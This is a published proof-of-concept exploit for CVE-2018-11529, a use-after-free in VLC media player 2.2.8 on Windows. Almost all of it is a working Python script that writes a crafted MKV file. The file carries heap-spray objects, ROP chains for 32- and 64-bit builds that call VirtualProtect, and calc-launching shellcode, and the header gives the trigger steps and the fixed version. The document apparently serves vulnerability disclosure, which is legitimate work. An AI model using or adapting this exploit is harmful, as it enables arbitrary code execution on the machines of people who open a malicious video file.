VLC media player 2.2.8 Arbitrary Code Execution PoC(CVE-2018-11529)

# Exploit Title: VLC media player 2.2.8 Arbitrary Code Execution PoC # Date: 6-6-2018 # Exploit Author: Eugene Ng # Vendor Homepage: https://www.videolan.org/vlc/index.html # Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe # Version: 2.2.8 # Tested on: Windows 10 x64 # CVE: CVE-2018-11529 # # 1. Description # # VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows # an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed # exploit attempts will likely result in denial of service conditions. # # Exploit can work on both 32 bits and 64 bits of VLC media player. # # 2. Proof of Concept # # Generate MKV files using python # Open VLC media player # Drag and drop poc.mkv into VLC media player (more reliable than double clicking) # # 3. Solution # # Update to version 3.0.3 # https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe import uuid from struct import pack class AttachedFile(object): def __init__(self, data): self.uid = '\x46\xae' + data_size(8) + uuid.uuid4().bytes[:8] self.name = '\x46\x6e' + data_size(8) + uuid.uuid4().bytes[:8] self.mime = '\x46\x60' + data_size(24) + 'application/octet-stream' self.data = '\x46\x5c' + data_size(len(data)) + data self.header = '\x61\xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid)) def __str__(self): return self.header + self.name + self.mime + self.uid + self.data def to_bytes(n, length): h = '%x' % n s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') return s def data_size(number, numbytes=range(1, 9)): # encode 'number' as an EBML variable-size integer. size = 0 for size in numbytes: bits = size*7 if number <= (1 << bits) - 2: return to_bytes(((1 << bits) + number), size) raise ValueError("Can't store {} in {} bytes".format(number, size)) def build_data(size, bits, version): target_addresses = { '64': 0x40000040, '32': 0x22000020, } target_address = target_addresses[bits] exit_pointers = { '64': { '2.2.8': 0x00412680, }, '32': { '2.2.8': 0x00411364, } } pExit = exit_pointers[bits][version] rop_gadgets = { '64': { '2.2.8': [ 0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET 0x00403b60, # POP RCX # RET target_address, # lpAddress 0x004011c2, # POP RDX # RET 0x00001000, # dwSize 0x0040ab70, # JMP VirtualProtect target_address + 0x500, # Shellcode ], }, '32': { '2.2.8': [ 0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET 0x00407086, # POP EDI # RETN [vlc.exe] 0x00000040, # 0x00000040-> edx 0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe] 0x22000030, # Filler (compensate) for rol [eax] below 0x41414141, # Filler (compensate) 0x004039c8, # POP ECX # RETN [vlc.exe] 0x0041193d, # &Writable location [vlc.exe] 0x00409d18, # POP EBX # RETN [vlc.exe] 0x00000201, # 0x00000201-> ebx 0x0040a623, # POP EBP # RETN [vlc.exe] 0x0040a623, # POP EBP # RETN [vlc.exe] 0x004036CB, # POP ESI # RETN [vlc.exe] 0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe] 0x00407086, # POP EDI # RETN [vlc.exe] 0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe] 0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8) target_address + 0x5e0, # Shellcode ], } } if bits == '64': target_address_packed = pack("<Q", target_addresses[bits]) rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version]) # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin # w64-exec-calc-shellcode-esp.bin shellcode = ( "\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48" "\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad" "\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74" "\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02" "\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01" "\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7" # add shellcode to avoid crashes by terminating the process # xor rcx, rcx # mov rax, pExit # call [rax] "\x48\x31\xc9\x48\xc7\xc0" + pack("<I", pExit) + "\xff\x10") if size == 0x180: UAF_object = '\x41' while len(UAF_object) < size: UAF_object += UAF_object UAF_object = UAF_object[:size] UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:] UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:] UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:] UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:] return UAF_object else: block = '\x00' block_size = 0x1000 while len(block) < block_size: block += block block = block[:block_size] block = block[:0x0] + '\x41' * 4 + block[0x4:] block = block[:0x8] + target_address_packed + block[0x10:] block = block[:0x10] + target_address_packed + block[0x18:] block = block[:0x40] + pack("<Q", 0x1) + block[0x48:] block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:] block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:] block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:] block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):] block = block[:0x500] + shellcode + block[0x500 + len(shellcode):] block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:] while len(block) < size: block += block return block[:size] else: target_address_packed = pack("<I", target_addresses[bits]) rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version]) # https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin # w32-exec-calc-shellcode.bin shellcode = ( "\x83\xE4\xFC\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64" "\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B" "\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24" "\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0" "\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7" # add shellcode to avoid crashes by terminating the process # xor eax, eax # push eax # mov eax, pExit # jmp eax "\x31\xC0\x50\xA1" + pack("<I", pExit) + "\xff\xe0") if size == 0x100: UAF_object = '\x41' while len(UAF_object) < size: UAF_object += UAF_object UAF_object = UAF_object[:size] UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:] UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:] UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:] UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:] return UAF_object else: block = '\x00' block_size = 0x1000 while len(block) < block_size: block += block block = block[:block_size] block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:] block = block[:0x4] + target_address_packed + block[0x8:] block = block[:0x8] + target_address_packed + block[0xc:] block = block[:0x10] + pack("<I", 0xc85) + block[0x14:] block = block[:0x30] + pack("<I", 0x1) + block[0x34:] block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:] block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:] block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:] block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:] block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):] block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:] block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):] while len(block) < size: block += block return block[:size] def build_exploit(bits, version): # EBML Header DocType = "\x42\x82" + data_size(8) + "matroska" EBML = "\x1a\x45\xdf\xa3" + data_size(len(DocType)) + DocType # Seek Entries SeekEntry = "\x53\xab" + data_size(4) # SeekID SeekEntry += "\x15\x49\xa9\x66" # KaxInfo SeekEntry += "\x53\xac" + data_size(2) + "\xff" * 2 # SeekPosition + Index of Segment info SeekEntries = "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry SeekEntry = "\x53\xab" + data_size(4) # SeekID SeekEntry += "\x11\x4d\x9b\x74" # KaxSeekHead SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of SeekHead SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry SeekEntry = "\x53\xab" + data_size(4) # SeekID SeekEntry += "\x10\x43\xa7\x70" # KaxChapters SeekEntry += "\x53\xac" + data_size(4) + "\xff" * 4 # SeekPosition + Index of Chapters SeekEntries += "\x4d\xbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry # SeekHead SeekHead = "\x11\x4d\x9b\x74" + data_size(len(SeekEntries)) + SeekEntries # Void Void = "\xec" + data_size(2) + "\x41" # Trigger bug with an out-of-order element # Info SegmentUID = "\x73\xa4" + data_size(16) + uuid.uuid4().bytes Info = "\x15\x49\xa9\x66" + data_size(len(SegmentUID)) + SegmentUID # Chapters ChapterSegmentUID = "\x6e\x67" + data_size(16) + uuid.uuid4().bytes ChapterAtom = "\xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID EditionEntry = "\x45\xb9" + data_size(len(ChapterAtom)) + ChapterAtom Chapters = "\x10\x43\xa7\x70" + data_size(len(EditionEntry)) + EditionEntry if bits == '64': size = 0x180 count = 60 else: size = 0x100 count = 30 # Attachments print "[+] Generating UAF objects...", AttachedFiles = "" for i in range(500): AttachedFiles += str(AttachedFile(build_data(size, bits, version))) Attachments = "\x19\x41\xa4\x69" + data_size(len(AttachedFiles)) + AttachedFiles print "done" # Cluster print "[+] Generating payload...", payload = build_data(0xfff000, bits, version) SimpleBlocks = "\xa3" + data_size(len(payload)) + payload SimpleBlocksLength = len(SimpleBlocks) * count Timecode = "\xe7" + data_size(1) + "\x00" Cluster = "\x1f\x43\xb6\x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode print "done" # Concatenate everything SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster Segment = "\x18\x53\x80\x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData mkv = EBML + Segment print "[+] Writing poc MKV...", with open('poc.mkv', 'wb') as fp: fp.write(mkv) for i in range(count): fp.write(SimpleBlocks) print "done" # Bug requires another MKV file in the same directory, hence we # generate another 'minimally valid' MKV file that VLC will parse # Also able to use any other valid MKV file... auxi_mkv = mkv[:0x4f] + "\x15\x49\xa9\x66" + data_size(10) # Add some arbitrary size print "[+] Writing auxiliary MKV...", with open('auxi.mkv', 'wb') as fp: fp.write(auxi_mkv) print "done" if __name__ == '__main__': bits = '64' # 32 / 64 version = '2.2.8' print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version) build_exploit(bits, version) print "Open VLC and drag and drop in poc.mkv"